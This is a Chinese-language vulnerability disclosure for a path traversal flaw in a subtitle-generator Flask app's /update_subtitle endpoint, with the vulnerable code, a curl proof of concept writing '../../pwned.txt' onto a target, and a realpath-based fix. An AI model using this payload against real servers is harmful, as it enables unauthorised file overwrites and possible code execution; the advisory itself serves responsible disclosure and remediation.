在 /update_subtitle 端点中存在一个路径遍历漏洞,该端点位于
TahaBakhtari/SubtitleGenerator 项目中。
该端点接受来自未经身份验证客户端的 file_name 参数,并使用 os.path.join() 将其与固定的基础目录拼接,而未对路径遍历序列进行清理。因此,远程、未经身份验证的攻击者可以在预期的 data/subtitles/ 目录之外,在运行进程的权限范围内写入任意文件。
2e2553a(测试时的最新版本)app.py,update_subtitle 函数(第225–238行)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
file_name 参数用于构建文件路径,未经任何验证。攻击者可以提供诸如 ../../pwned.txt 之类的值,以逃逸 data/subtitles/ 目录,并写入进程具有写权限的任意位置。
默认情况下,应用程序绑定到 0.0.0.0:5000(参见 app.py),这意味着它可以通过网络访问,而不限于 localhost。
CWE-22:路径名限制不当(路径遍历)
在 Flask 进程权限范围内任意写入文件
覆盖现有配置或应用程序文件
可能覆盖应用程序源文件(例如 app.py),这可能导致下次重启时执行代码
通过破坏关键文件造成拒绝服务
攻击向量: 远程
需要身份验证: 否
需要用户交互: 否
严重性(初步): 高
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
响应:
{"status": "success", "message": "..."}
在服务器上验证:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
文件 pwned.txt 被写入项目的根目录,比预期的 data/subtitles/ 目录高出两级——这证实了路径遍历漏洞。
请参阅 poc.sh 获取该概念验证的可运行版本。
在打开文件之前,使用 os.path.realpath() 验证解析后的路径是否位于 data/subtitles/ 目录内:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
这确保了结果路径始终解析到 data/subtitles/ 内部,从而有效阻止 ../../ 等遍历序列。
完整的补丁可在 patch.diff 中找到。此修复已在本地测试实例上实施并验证:上面 PoC 中使用的相同 payload 现在会返回“invalid filename”错误,而不是写入文件。
由 Arda Kuruoglu 发现并报告。
此漏洞根据 90 天负责任的披露时间线披露,从首次向维护者报告漏洞之日算起。
README.md — 本文档poc.sh — 演示漏洞的概念验证脚本patch.diff — 建议的补丁,已在本地测试实例上验证本文档及附带文件根据 MIT 许可证发布。